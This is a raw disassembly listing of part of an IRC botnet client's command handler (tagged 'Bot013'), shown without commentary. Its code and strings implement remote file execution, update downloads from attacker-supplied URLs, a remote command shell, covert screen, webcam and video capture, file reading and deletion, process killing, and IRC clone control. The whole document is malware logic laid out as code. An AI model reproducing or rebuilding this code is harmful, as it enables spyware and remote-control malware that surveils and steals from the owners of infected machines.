[ebp+var_304], si call sub_416D02 cmp eax, ebx pop ecx jnz short loc_40CA7C mov word ptr [ebp+var_304], 5 loc_40CA7C: ; CODE XREF: sub_409848+3229j cmp [ebp+var_14], esi jz loc_40D870 push [ebp+var_10] push [ebp+var_14] call sub_417440 mov edi, eax cmp edi, esi pop ecx pop ecx jz loc_40D870 lea eax, [ebp+var_750] push eax lea eax, [ebp+var_334] push eax push esi push esi push 30h push ebx push esi push esi push edi push esi call dword_422044 ; CreateProcessA test eax, eax lea eax, [ebp+var_2F0] jnz short loc_40CAD5 push offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file." push eax call sub_416975 pop ecx pop ecx jmp loc_40D870 ; --------------------------------------------------------------------------- loc_40CAD5: ; CODE XREF: sub_409848+3279j push edi push offset aExecCommandsS ; "[EXEC]: Commands: %s" jmp loc_40D867 ; --------------------------------------------------------------------------- loc_40CAE0: ; CODE XREF: sub_409848+2482j ; sub_409848+2496j mov edi, [ebp+var_10] mov esi, offset aBot013 ; "Bot013" loc_40CAE8: ; CODE XREF: sub_409848+32BCj mov cl, [esi] mov al, cl cmp cl, [edi] jnz short loc_40CB0A test al, al jz short loc_40CB06 mov cl, [esi+1] mov al, cl cmp cl, [edi+1] jnz short loc_40CB0A inc esi inc esi inc edi inc edi test al, al jnz short loc_40CAE8 loc_40CB06: ; CODE XREF: sub_409848+32AAj xor eax, eax jmp short loc_40CB0F ; --------------------------------------------------------------------------- loc_40CB0A: ; CODE XREF: sub_409848+32A6j ; sub_409848+32B4j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40CB0F: ; CODE XREF: sub_409848+32C0j test eax, eax mov edi, [ebp+arg_4] jz loc_40CC82 lea eax, [ebp+var_860] push eax push 104h call dword_4220D0 ; GetTempPathA push 0FFh push [ebp+var_8] lea eax, [ebp+var_E14] push eax call sub_416A00 lea eax, [ebp+var_75C] push eax call sub_410E56 push eax lea eax, [ebp+var_860] push eax lea eax, [ebp+var_D14] push offset aSS_exe ; "%s%s.exe" push eax call sub_416975 mov eax, [ebp+ebx+var_98] xor esi, esi add esp, 20h cmp eax, esi mov [ebp+var_B10], 1 mov [ebp+var_B0C], esi jz short loc_40CB99 push 10h push esi push eax call sub_417799 add esp, 0Ch mov [ebp+var_B04], eax jmp short loc_40CB9F ; --------------------------------------------------------------------------- loc_40CB99: ; CODE XREF: sub_409848+333Bj mov [ebp+var_B04], esi loc_40CB9F: ; CODE XREF: sub_409848+334Fj mov ebx, [ebp+ebx+var_94] cmp ebx, esi jz short loc_40CBB9 push ebx call sub_416D02 pop ecx mov [ebp+var_B08], eax jmp short loc_40CBBF ; --------------------------------------------------------------------------- loc_40CBB9: ; CODE XREF: sub_409848+3360j mov [ebp+var_B08], esi loc_40CBBF: ; CODE XREF: sub_409848+336Fj movzx eax, [ebp+var_38B] push 7Fh push [ebp+var_9C] mov [ebp+var_B00], eax lea eax, [ebp+var_E94] push eax mov [ebp+var_E98], edi call sub_416A00 mov eax, [ebp+var_4] push [ebp+var_8] mov [ebp+var_AF8], eax mov eax, [ebp+var_C] mov [ebp+var_AFC], eax lea eax, [ebp+var_2F0] push offset aUpdateDownload ; "[UPDATE]: Downloading update from: %s." push eax call sub_416975 push edi lea eax, [ebp+var_2F0] push 17h push eax call sub_413732 add esp, 24h mov [ebp+var_B14], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_E98] push eax push offset sub_402C71 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_B14] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40CC78 call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"... push eax call sub_416975 add esp, 0Ch jmp short loc_40CC84 ; --------------------------------------------------------------------------- loc_40CC70: ; CODE XREF: sub_409848+3436j push 32h call dword_422000 ; Sleep loc_40CC78: ; CODE XREF: sub_409848+3409j cmp [ebp+var_AF4], esi jz short loc_40CC70 jmp short loc_40CC84 ; --------------------------------------------------------------------------- loc_40CC82: ; CODE XREF: sub_409848+32CCj xor esi, esi loc_40CC84: ; CODE XREF: sub_409848+3426j ; sub_409848+3438j cmp [ebp+var_C], esi jnz loc_40AF34 push esi push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push edi jmp loc_40AF2C ; --------------------------------------------------------------------------- loc_40CCA4: ; CODE XREF: sub_409848+245Aj ; sub_409848+246Ej mov edi, [ebp+var_A0] push 4 mov esi, offset dword_42A8E0 pop ecx xor eax, eax repe cmpsb jz loc_409AC6 cmp [ebp+var_14], eax jz loc_409AC6 push [ebp+var_10] push [ebp+var_14] call sub_417440 push eax push [ebp+var_9C] lea eax, [ebp+var_2F0] push [ebp+var_A0] push [ebp+var_A4] push offset aSSSS ; "%s %s %s :%s" push eax call sub_416975 push 1FFh lea eax, [ebp+var_2F0] push eax push [ebp+arg_0] call sub_416A00 push [ebp+var_8] call sub_416D02 add esp, 30h test eax, eax jle short loc_40CD2D push [ebp+var_8] call sub_416D02 imul eax, 3E8h pop ecx push eax call dword_422000 ; Sleep loc_40CD2D: ; CODE XREF: sub_409848+34CDj push offset aMainDelay_ ; "[MAIN]: Delay." call sub_401F0F mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_409AC9 ; --------------------------------------------------------------------------- loc_40CD41: ; CODE XREF: sub_409848+2432j ; sub_409848+2446j mov edi, [ebp+var_A0] push 4 mov esi, offset dword_42A8E0 pop ecx xor eax, eax repe cmpsb jz loc_409AC6 cmp [ebp+var_14], eax jz loc_40F93F mov esi, [ebp+var_10] push esi push [ebp+var_14] call sub_417440 pop ecx pop ecx mov ebx, eax push 7 inc esi pop ecx xor eax, eax mov edi, offset aRepeat ; "repeat" repe cmpsb lea eax, [ebp+var_2F0] push ebx jz short loc_40CDFB push [ebp+var_9C] push [ebp+var_A0] push [ebp+var_A4] push offset aSSSS ; "%s %s %s :%s" push eax call sub_416975 push 1FFh lea eax, [ebp+var_2F0] push eax push [ebp+arg_0] call sub_416A00 push ebx lea eax, [ebp+var_2F0] push offset aMainRepeatS ; "[MAIN]: Repeat: %s" push eax call sub_416975 lea eax, [ebp+var_2F0] push eax call sub_401F0F push [ebp+var_8] call sub_416D02 add esp, 38h test eax, eax jle loc_40F93F push [ebp+var_8] call sub_416D02 add eax, [ebp+arg_24] pop ecx jmp loc_409AC9 ; --------------------------------------------------------------------------- loc_40CDFB: ; CODE XREF: sub_409848+353Ej push offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in command l"... jmp loc_40D4F6 ; --------------------------------------------------------------------------- loc_40CE05: ; CODE XREF: sub_409848+240Aj ; sub_409848+241Ej push [ebp+var_10] lea eax, [ebp+var_2F0] push offset aPartS_0 ; "PART %s" push eax call sub_416975 push [ebp+var_8] call sub_416D02 add esp, 10h loc_40CE24: ; CODE XREF: sub_409848+3649j test eax, eax jle loc_40F93F push [ebp+var_8] call sub_416D02 cmp eax, 1F4h pop ecx jge loc_40F93F loc_40CE40: ; CODE XREF: sub_409848+4190j lea eax, [ebp+var_2F0] push eax push offset aS_4 ; "%s\r\n" push [ebp+var_8] call sub_416D02 imul eax, 234h pop ecx push dword_43B26C[eax] call sub_405D17 jmp loc_40EAD9 ; --------------------------------------------------------------------------- loc_40CE6B: ; CODE XREF: sub_409848+23E2j ; sub_409848+23F6j push [ebp+ebx+var_98] lea eax, [ebp+var_2F0] push [ebp+var_10] push offset aJoinSS ; "JOIN %s %s" push eax call sub_416975 push [ebp+var_8] call sub_416D02 add esp, 14h jmp short loc_40CE24 ; --------------------------------------------------------------------------- loc_40CE93: ; CODE XREF: sub_409848+23BAj ; sub_409848+23CEj push [ebp+var_10] lea eax, [ebp+var_2F0] push offset aNickS ; "NICK %s" push eax call sub_416975 mov esi, [ebp+var_8] push esi call sub_416D02 add esp, 10h test eax, eax jle loc_40F93F push esi call sub_416D02 cmp eax, 1F4h pop ecx jge loc_40F93F lea eax, [ebp+var_2F0] push eax push offset aS_4 ; "%s\r\n" push esi call sub_416D02 imul eax, 234h pop ecx push dword_43B26C[eax] call sub_405D17 push [ebp+var_10] push esi push offset aCloneNickSS ; "[CLONE]: Nick (%s): %s" loc_40CEFA: ; CODE XREF: sub_409848+373Dj ; sub_409848+37ACj ... call sub_401F83 jmp loc_40E7AA ; --------------------------------------------------------------------------- loc_40CF04: ; CODE XREF: sub_409848+2392j ; sub_409848+23A6j cmp [ebp+var_14], 0 jz loc_40F93F push [ebp+var_10] push [ebp+var_14] call sub_417440 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_40CF36 push esi lea eax, [ebp+var_2F0] push offset aModeS ; "MODE %s" push eax call sub_416975 add esp, 0Ch loc_40CF36: ; CODE XREF: sub_409848+36D7j mov edi, [ebp+var_8] push edi call sub_416D02 test eax, eax pop ecx jle loc_40F93F push edi call sub_416D02 cmp eax, 1F4h pop ecx jge loc_40F93F lea eax, [ebp+var_2F0] push eax push offset aS_4 ; "%s\r\n" push edi call sub_416D02 imul eax, 234h pop ecx push dword_43B26C[eax] call sub_405D17 push esi push edi push offset aCloneModeSS ; "[CLONE]: Mode (%s): %s" jmp loc_40CEFA ; --------------------------------------------------------------------------- loc_40CF8A: ; CODE XREF: sub_409848+236Aj ; sub_409848+237Ej cmp [ebp+var_14], 0 jz loc_40F93F push [ebp+var_10] push [ebp+var_14] call sub_417440 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40F93F mov edi, [ebp+var_8] push edi call sub_416D02 test eax, eax pop ecx jle loc_40F93F push edi call sub_416D02 cmp eax, 1F4h pop ecx jge loc_40F93F push esi push offset aS_4 ; "%s\r\n" push edi call sub_416D02 imul eax, 234h pop ecx push dword_43B26C[eax] call sub_405D17 push esi push edi push offset aCloneRawSS ; "[CLONE]: Raw (%s): %s" jmp loc_40CEFA ; --------------------------------------------------------------------------- loc_40CFF9: ; CODE XREF: sub_409848+2342j ; sub_409848+2356j cmp [ebp+var_14], 0 jz loc_40F93F push [ebp+var_8] push [ebp+var_14] call sub_417440 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40F93F push esi push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] call sub_405D17 push esi push offset aMainModeChange ; "[MAIN]: Mode change: %s" jmp loc_40DBD2 ; --------------------------------------------------------------------------- loc_40D033: ; CODE XREF: sub_409848+231Aj ; sub_409848+232Ej mov edi, [ebp+var_A0] push 4 mov esi, offset dword_42A8E0 pop ecx xor eax, eax repe cmpsb jz loc_409AC6 push [ebp+var_10] push offset aPartS ; "PART %s\r\n" push [ebp+arg_4] call sub_405D17 push [ebp+var_8] call sub_416D02 imul eax, 3E8h add esp, 10h push eax call dword_422000 ; Sleep push [ebp+ebx+var_98] push [ebp+var_10] push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_405D17 push offset aMainCycle_ ; "[MAIN]: Cycle." call sub_401F0F jmp loc_40DBD7 ; --------------------------------------------------------------------------- loc_40D099: ; CODE XREF: sub_409848+22F2j ; sub_409848+2306j cmp [ebp+var_14], 0 jz loc_40F93F lea edx, [eax+1] loc_40D0A6: ; CODE XREF: sub_409848+3863j mov cl, [eax] inc eax test cl, cl jnz short loc_40D0A6 sub eax, edx mov ecx, eax mov eax, [ebp+var_8] lea esi, [eax+1] loc_40D0B7: ; CODE XREF: sub_409848+3874j mov dl, [eax] inc eax test dl, dl jnz short loc_40D0B7 push [ebp+var_10] sub eax, esi add eax, ecx mov ecx, [ebp+var_14] lea eax, [eax+ecx+2] push eax call sub_417440 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40F93F push esi lea eax, [ebp+var_2F0] push offset dword_429D4C push eax call sub_416975 push 0 push 0 lea eax, [ebp+var_2F0] push eax push [ebp+var_8] push [ebp+arg_4] call sub_405D62 push esi push [ebp+var_8] push offset aMainActionSS_ ; "[MAIN]: Action: %s: %s." call sub_401F83 add esp, 2Ch jmp loc_40F93F ; --------------------------------------------------------------------------- loc_40D11C: ; CODE XREF: sub_409848+22CAj ; sub_409848+22DEj cmp [ebp+var_14], 0 jz loc_40F93F lea edx, [eax+1] loc_40D129: ; CODE XREF: sub_409848+38E6j mov cl, [eax] inc eax test cl, cl jnz short loc_40D129 sub eax, edx mov ecx, eax mov eax, [ebp+var_8] lea esi, [eax+1] loc_40D13A: ; CODE XREF: sub_409848+38F7j mov dl, [eax] inc eax test dl, dl jnz short loc_40D13A push [ebp+var_10] sub eax, esi add eax, ecx mov ecx, [ebp+var_14] lea eax, [eax+ecx+2] push eax call sub_417440 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40F93F push 0 push 0 push esi push [ebp+var_8] push [ebp+arg_4] call sub_405D62 push esi push [ebp+var_8] push offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s." call sub_401F83 loc_40D17F: ; CODE XREF: sub_409848+5CB9j add esp, 20h jmp loc_40F93F ; --------------------------------------------------------------------------- loc_40D187: ; CODE XREF: sub_409848+22A2j ; sub_409848+22B6j cmp [ebp+var_14], 0 jz loc_409AC6 push [ebp+var_10] push [ebp+var_14] call sub_417440 test eax, eax pop ecx pop ecx jz loc_409AC6 push eax push [ebp+var_8] call sub_401DFF push [ebp+var_8] lea eax, [ebp+var_2F0] push offset aMainAliasAdded ; "[MAIN]: Alias added: %s." push eax call sub_416975 add esp, 14h loc_40D1C6: ; CODE XREF: sub_409848+427Bj ; sub_409848+56A5j cmp [ebp+var_C], 0 jnz short loc_40D1E9 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 14h loc_40D1E9: ; CODE XREF: sub_409848+3982j ; sub_409848+4E6Cj ... lea eax, [ebp+var_2F0] push eax call sub_401F0F jmp loc_40FAFE ; --------------------------------------------------------------------------- loc_40D1FA: ; CODE XREF: sub_409848+2162j ; sub_409848+2176j push [ebp+var_8] push [ebp+arg_1C] call sub_417440 test eax, eax pop ecx pop ecx jz loc_40F93F mov ebx, [ebp+ebx+var_9C] test ebx, ebx jz short loc_40D295 push ebx push [ebp+var_14] call sub_417440 mov esi, eax test esi, esi pop ecx pop ecx lea eax, [ebp+var_2F0] jz short loc_40D283 push esi push [ebp+var_9C] push [ebp+var_A0] push [ebp+var_A4] push offset aSSSS ; "%s %s %s :%s" push eax call sub_416975 push 1FFh lea eax, [ebp+var_2F0] push eax push [ebp+arg_0] call sub_416A00 push esi push [ebp+var_8] lea eax, [ebp+var_2F0] push offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command: %s" push eax call sub_416975 add esp, 34h inc [ebp+arg_24] jmp loc_40D66C ; --------------------------------------------------------------------------- loc_40D283: ; CODE XREF: sub_409848+39E7j push offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"... push eax call sub_416975 pop ecx pop ecx jmp loc_40D66C ; --------------------------------------------------------------------------- loc_40D295: ; CODE XREF: sub_409848+39D0j push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_412DD1 add esp, 0Ch push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 push [ebp+var_8] lea eax, [ebp+var_2F0] push offset aMainGethostS_ ; "[MAIN]: Gethost: %s." push 200h push eax call sub_416BCD add esp, 24h jmp loc_40D66C ; --------------------------------------------------------------------------- loc_40D2DF: ; CODE XREF: sub_409848+213Aj ; sub_409848+214Ej mov esi, [ebp+var_8] push 7 mov edi, offset aScreen ; "screen" pop ecx xor eax, eax repe cmpsb jnz short loc_40D338 mov esi, [ebp+ebx+var_9C] test esi, esi jz short loc_40D325 push esi call sub_4021C5 cmp eax, 1 pop ecx lea eax, [ebp+var_2F0] jnz short loc_40D31E push esi push offset aCaptureScreenC ; "[CAPTURE]: Screen capture saved to: %s."... push eax call sub_416975 add esp, 0Ch jmp short loc_40D338 ; --------------------------------------------------------------------------- loc_40D31E: ; CODE XREF: sub_409848+3AC3j push offset aCaptureErrorWh ; "[CAPTURE]: Error while capturing screen"... jmp short loc_40D330 ; --------------------------------------------------------------------------- loc_40D325: ; CODE XREF: sub_409848+3AB1j push offset aCaptureNoFilen ; "[CAPTURE]: No filename specified for sc"... lea eax, [ebp+var_2F0] loc_40D330: ; CODE XREF: sub_409848+3ADBj push eax call sub_416975 pop ecx pop ecx loc_40D338: ; CODE XREF: sub_409848+3AA6j ; sub_409848+3AD4j mov esi, [ebp+var_8] push 8 mov edi, offset aDrivers ; "drivers" pop ecx xor eax, eax repe cmpsb jnz short loc_40D3C5 xor edi, edi mov esi, 0FFh loc_40D350: ; CODE XREF: sub_409848+3B68j push 1FFh lea eax, [ebp+var_AF0] push eax push esi lea eax, [ebp+var_155C] push eax push edi call dword_43A454 test eax, eax jz short loc_40D3AC lea eax, [ebp+var_AF0] push eax lea eax, [ebp+var_155C] push eax push edi lea eax, [ebp+var_EF0] push offset aCaptureDriverD ; "[CAPTURE]: Driver #%d - %s - %s." push eax call sub_416975 push 0 push [ebp+var_4] lea eax, [ebp+var_EF0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 28h loc_40D3AC: ; CODE XREF: sub_409848+3B25j inc edi cmp edi, 0Ah jl short loc_40D350 lea eax, [ebp+var_2F0] push offset aCaptureDriverL ; "[CAPTURE]: Driver list complete." push eax call sub_416975 pop ecx pop ecx loc_40D3C5: ; CODE XREF: sub_409848+3AFFj mov esi, [ebp+var_8] push 6 mov edi, offset aFrame ; "frame" pop ecx xor eax, eax repe cmpsb jnz loc_40D461 cmp [ebp+ebx+var_9C], eax jz short loc_40D44E mov edi, [ebp+ebx+var_98] test edi, edi jz short loc_40D44E mov esi, [ebp+ebx+var_94] test esi, esi jz short loc_40D44E mov eax, [ebp+ebx+var_90] test eax, eax jz short loc_40D44E push eax call sub_416D02 pop ecx push eax push esi call sub_416D02 pop ecx push eax push edi call sub_416D02 mov esi, [ebp+ebx+var_9C] pop ecx push eax push esi call sub_402402 add esp, 10h test eax, eax lea eax, [ebp+var_2F0] jnz short loc_40D447 push esi push offset aCaptureWebcamC ; "[CAPTURE]: Webcam capture saved to: %s."... push eax call sub_416975 add esp, 0Ch jmp short loc_40D461 ; --------------------------------------------------------------------------- loc_40D447: ; CODE XREF: sub_409848+3BECj push offset aCaptureError_0 ; "[CAPTURE]: Error while capturing from w"... jmp short loc_40D459 ; --------------------------------------------------------------------------- loc_40D44E: ; CODE XREF: sub_409848+3B99j ; sub_409848+3BA4j ... push offset aCaptureInvalid ; "[CAPTURE]: Invalid parameters for webca"... lea eax, [ebp+var_2F0] loc_40D459: ; CODE XREF: sub_409848+3C04j push eax call sub_416975 pop ecx pop ecx loc_40D461: ; CODE XREF: sub_409848+3B8Cj ; sub_409848+3BFDj mov esi, [ebp+var_8] push 6 mov edi, offset aVideo ; "video" pop ecx xor eax, eax repe cmpsb jnz loc_40D649 mov eax, [ebp+ebx+var_9C] test eax, eax mov [ebp+var_10], eax jz loc_40D50E mov eax, [ebp+ebx+var_98] test eax, eax mov [ebp+arg_0], eax jz short loc_40D50E mov edi, [ebp+ebx+var_94] test edi, edi jz short loc_40D50E mov esi, [ebp+ebx+var_90] test esi, esi jz short loc_40D50E mov ebx, [ebp+ebx+var_8C] test ebx, ebx jz short loc_40D50E push ebx call sub_416D02 pop ecx push eax push esi call sub_416D02 pop ecx push eax push edi call sub_416D02 pop ecx push eax push [ebp+arg_0] call sub_416D02 pop ecx push eax push [ebp+var_10] call sub_4025FE add esp, 14h test eax, eax lea eax, [ebp+var_2F0] jnz short loc_40D504 push [ebp+var_10] push offset aCaptureAmateur ; "[CAPTURE]: Amateur video saved to: %s." loc_40D4F6: ; CODE XREF: sub_409848+35B8j push eax call sub_416975 add esp, 0Ch jmp loc_40D649 ; --------------------------------------------------------------------------- loc_40D504: ; CODE XREF: sub_409848+3CA4j push offset aCaptureError_1 ; "[CAPTURE]: Error while capturing amateu"... jmp loc_40D641 ; --------------------------------------------------------------------------- loc_40D50E: ; CODE XREF: sub_409848+3C3Aj ; sub_409848+3C4Cj ... push offset aCaptureInval_0 ; "[CAPTURE]: Invalid parameters for amate"... lea eax, [ebp+var_2F0] jmp loc_40D641 ; --------------------------------------------------------------------------- loc_40D51E: ; CODE XREF: sub_409848+1B83j ; sub_409848+1B97j push offset aR ; "r" push [ebp+var_8] call sub_41720C mov edi, eax test edi, edi pop ecx pop ecx jz short loc_40D59C push edi mov esi, 200h lea eax, [ebp+var_2F0] push esi push eax call sub_4181E7 add esp, 0Ch jmp short loc_40D576 ; --------------------------------------------------------------------------- loc_40D54B: ; CODE XREF: sub_409848+3D30j push 1 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 push edi lea eax, [ebp+var_2F0] push esi push eax call sub_4181E7 add esp, 20h loc_40D576: ; CODE XREF: sub_409848+3D01j test eax, eax jnz short loc_40D54B push edi call sub_416E7D push [ebp+var_8] lea eax, [ebp+var_2F0] push offset aMainReadFileCo ; "[MAIN]: Read file complete: %s" push eax call sub_416975 add esp, 10h jmp loc_40AF34 ; --------------------------------------------------------------------------- loc_40D59C: ; CODE XREF: sub_409848+3CE9j push [ebp+var_8] push offset aMainReadFileFa ; "[MAIN]: Read file failed: %s" jmp loc_40ED53 ; --------------------------------------------------------------------------- loc_40D5A9: ; CODE XREF: sub_409848+1B5Bj ; sub_409848+1B6Fj cmp [ebp+var_14], 0 jz loc_40F93F push [ebp+var_8] push [ebp+var_14] call sub_417440 mov ebx, eax test ebx, ebx pop ecx pop ecx jz loc_40F93F mov edi, ebx dec edi loc_40D5CD: ; CODE XREF: sub_409848+3D8Bj mov al, [edi+1] inc edi test al, al jnz short loc_40D5CD mov esi, offset asc_4236F0 ; "\n" push ebx movsw call sub_4104D0 test eax, eax pop ecx lea eax, [ebp+var_2F0] jnz short loc_40D5F4 push offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell." jmp short loc_40D641 ; --------------------------------------------------------------------------- loc_40D5F4: ; CODE XREF: sub_409848+3DA3j push ebx push offset aCmdCommandsS ; "[CMD]: Commands: %s" push eax call sub_416975 add esp, 0Ch jmp short loc_40D66C ; --------------------------------------------------------------------------- loc_40D605: ; CODE XREF: sub_409848+1B33j ; sub_409848+1B47j cmp [ebp+var_14], 0 jz loc_40F93F push [ebp+var_8] push [ebp+var_14] call sub_417440 test eax, eax pop ecx pop ecx jz loc_40F93F push eax call sub_40742E test eax, eax pop ecx lea eax, [ebp+var_2F0] jnz short loc_40D63C push offset aMircClientNotO ; "[mIRC]: Client not open." jmp short loc_40D641 ; --------------------------------------------------------------------------- loc_40D63C: ; CODE XREF: sub_409848+3DEBj push offset aMircCommandSen ; "[mIRC]: Command sent." loc_40D641: ; CODE XREF: sub_409848+3CC1j ; sub_409848+3CD1j ... push eax call sub_416975 pop ecx pop ecx loc_40D649: ; CODE XREF: sub_409848+3C28j ; sub_409848+3CB7j cmp [ebp+var_C], 0 jnz short loc_40D66C push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 14h loc_40D66C: ; CODE XREF: sub_409848+3A36j ; sub_409848+3A48j ... lea eax, [ebp+var_2F0] push eax call sub_401F0F pop ecx jmp loc_40F93F ; --------------------------------------------------------------------------- loc_40D67E: ; CODE XREF: sub_409848+1B0Bj ; sub_409848+1B1Fj push 7Fh push [ebp+var_8] lea eax, [ebp+var_1854] push eax call sub_416A00 mov ebx, [ebp+ebx+var_9C] xor esi, esi add esp, 0Ch cmp ebx, esi jz short loc_40D6B1 push 7Fh lea eax, [ebp+var_17D4] push ebx push eax call sub_416A00 add esp, 0Ch loc_40D6B1: ; CODE XREF: sub_409848+3E55j push 7Fh push [ebp+var_9C] lea eax, [ebp+var_1754] push eax call sub_416A00 mov eax, [ebp+arg_4] push [ebp+var_8] mov [ebp+var_1858], eax mov eax, [ebp+var_C] mov [ebp+var_16D0], eax mov eax, [ebp+var_4] mov [ebp+var_16CC], eax lea eax, [ebp+var_2F0] push offset aVisitUrlS_ ; "[VISIT]: URL: %s." push eax call sub_416975 push esi lea eax, [ebp+var_2F0] push 15h push eax call sub_413732 add esp, 24h mov [ebp+var_16D4], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_1858] push eax push offset sub_413A7D push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_16D4] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40D763 call dword_422008 ; RtlGetLastWin32Error push eax push offset aVisitFailedToS ; "[VISIT]: Failed to start connection thr"... loc_40D747: ; CODE XREF: sub_409848+5162j lea eax, [ebp+var_2F0] push eax call sub_416975 add esp, 0Ch jmp loc_40AF34 ; --------------------------------------------------------------------------- loc_40D75B: ; CODE XREF: sub_409848+3F21j push 32h call dword_422000 ; Sleep loc_40D763: ; CODE XREF: sub_409848+3EF1j cmp [ebp+var_16C8], esi jz short loc_40D75B jmp loc_40AF34 ; --------------------------------------------------------------------------- loc_40D770: ; CODE XREF: sub_409848+1AE3j ; sub_409848+1AF7j push 0 push [ebp+var_9C] push [ebp+arg_4] push [ebp+var_8] call sub_404849 push [ebp+var_8] push offset aFileListS ; "[FILE]: List: %s" jmp loc_40CEFA ; --------------------------------------------------------------------------- loc_40D790: ; CODE XREF: sub_409848+1ABBj ; sub_409848+1ACFj push 20h push [ebp+var_8] call dword_4220CC ; SetFileAttributesA push [ebp+var_8] call dword_4220E4 ; DeleteFileA test eax, eax jz short loc_40D7B2 push [ebp+var_8] push offset aFileDeletedS_0 ; "[FILE]: Deleted '%s'." jmp short loc_40D7BD ; --------------------------------------------------------------------------- loc_40D7B2: ; CODE XREF: sub_409848+3F5Ej push offset aFile_0 ; "[FILE]:" call sub_407369 push eax loc_40D7BD: ; CODE XREF: sub_409848+3F68j lea eax, [ebp+var_2F0] push 200h push eax call sub_416BCD loc_40D7CE: ; CODE XREF: sub_409848+40A2j add esp, 10h jmp loc_40B963 ; --------------------------------------------------------------------------- loc_40D7D6: ; CODE XREF: sub_409848+1A93j ; sub_409848+1AA7j push [ebp+var_8] call sub_416D02 push eax call sub_409127 xor esi, esi pop ecx inc esi pop ecx push [ebp+var_8] cmp eax, esi lea eax, [ebp+var_2F0] jnz short loc_40D7FD push offset aProcProcessKil ; "[PROC]: Process killed ID: %s" jmp short loc_40D802 ; --------------------------------------------------------------------------- loc_40D7FD: ; CODE XREF: sub_409848+3FACj push offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"... loc_40D802: ; CODE XREF: sub_409848+3FB3j push eax call sub_416975 add esp, 0Ch cmp [ebp+var_C], 0 jnz loc_40AF37 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 14h jmp loc_40AF37 ; --------------------------------------------------------------------------- loc_40D837: ; CODE XREF: sub_409848+1A6Bj ; sub_409848+1A7Fj push 1 xor esi, esi push esi push esi push [ebp+var_8] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_408D49 add esp, 1Ch cmp eax, 1 jnz short loc_40D870 push [ebp+var_8] push offset aProcProcessK_0 ; "[PROC]: Process killed & deleted: %s" loc_40D861: ; CODE XREF: sub_409848+2F41j lea eax, [ebp+var_2F0] loc_40D867: ; CODE XREF: sub_409848+3293j ; sub_409848+4061j ... push eax call sub_416975 add esp, 0Ch loc_40D870: ; CODE XREF: sub_409848+2F56j ; sub_409848+3237j ... cmp [ebp+var_C], esi jnz loc_40AF34 push esi jmp loc_40AF19 ; --------------------------------------------------------------------------- loc_40D87F: ; CODE XREF: sub_409848+1A43j ; sub_409848+1A57j xor esi, esi push esi push esi push esi push [ebp+var_8] push [ebp+var_4] push esi push [ebp+arg_4] call sub_408D49 add esp, 1Ch push [ebp+var_8] cmp eax, 1 lea eax, [ebp+var_2F0] jnz short loc_40D8AB push offset aProcProcessK_1 ; "[PROC]: Process killed: %s" jmp short loc_40D867 ; --------------------------------------------------------------------------- loc_40D8AB: ; CODE XREF: sub_409848+405Aj push offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"... jmp short loc_40D867 ; --------------------------------------------------------------------------- loc_40D8B2: ; CODE XREF: sub_409848+1A1Bj ; sub_409848+1A2Fj mov esi, [ebp+var_8] push esi call dword_43A434 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40D8EF push 2 push 4 lea eax, [ebp+arg_0] push eax call dword_43A4B4 ; gethostbyaddr test eax, eax jz short loc_40D90A push dword ptr [eax] loc_40D8D8: ; CODE XREF: sub_409848+40C0j push esi lea eax, [ebp+var_2F0] push offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s." push eax call sub_416975 jmp loc_40D7CE ; --------------------------------------------------------------------------- loc_40D8EF: ; CODE XREF: sub_409848+407Aj push esi call dword_43A420 ; gethostbyname test eax, eax jz short loc_40D90A mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43A440 ; inet_ntoa push eax jmp short loc_40D8D8 ; --------------------------------------------------------------------------- loc_40D90A: ; CODE XREF: sub_409848+408Cj ; sub_409848+40B0j push offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname." jmp loc_40B955 ; --------------------------------------------------------------------------- loc_40D914: ; CODE XREF: sub_409848+19F3j ; sub_409848+1A07j push 7Fh push [ebp+var_8] push [ebp+arg_14] call sub_416A00 push [ebp+var_8] lea eax, [ebp+var_2F0] push offset aMainServerChan ; "[MAIN]: Server changed to: '%s'." push eax call sub_416975 add esp, 18h jmp loc_40EE2A ; --------------------------------------------------------------------------- 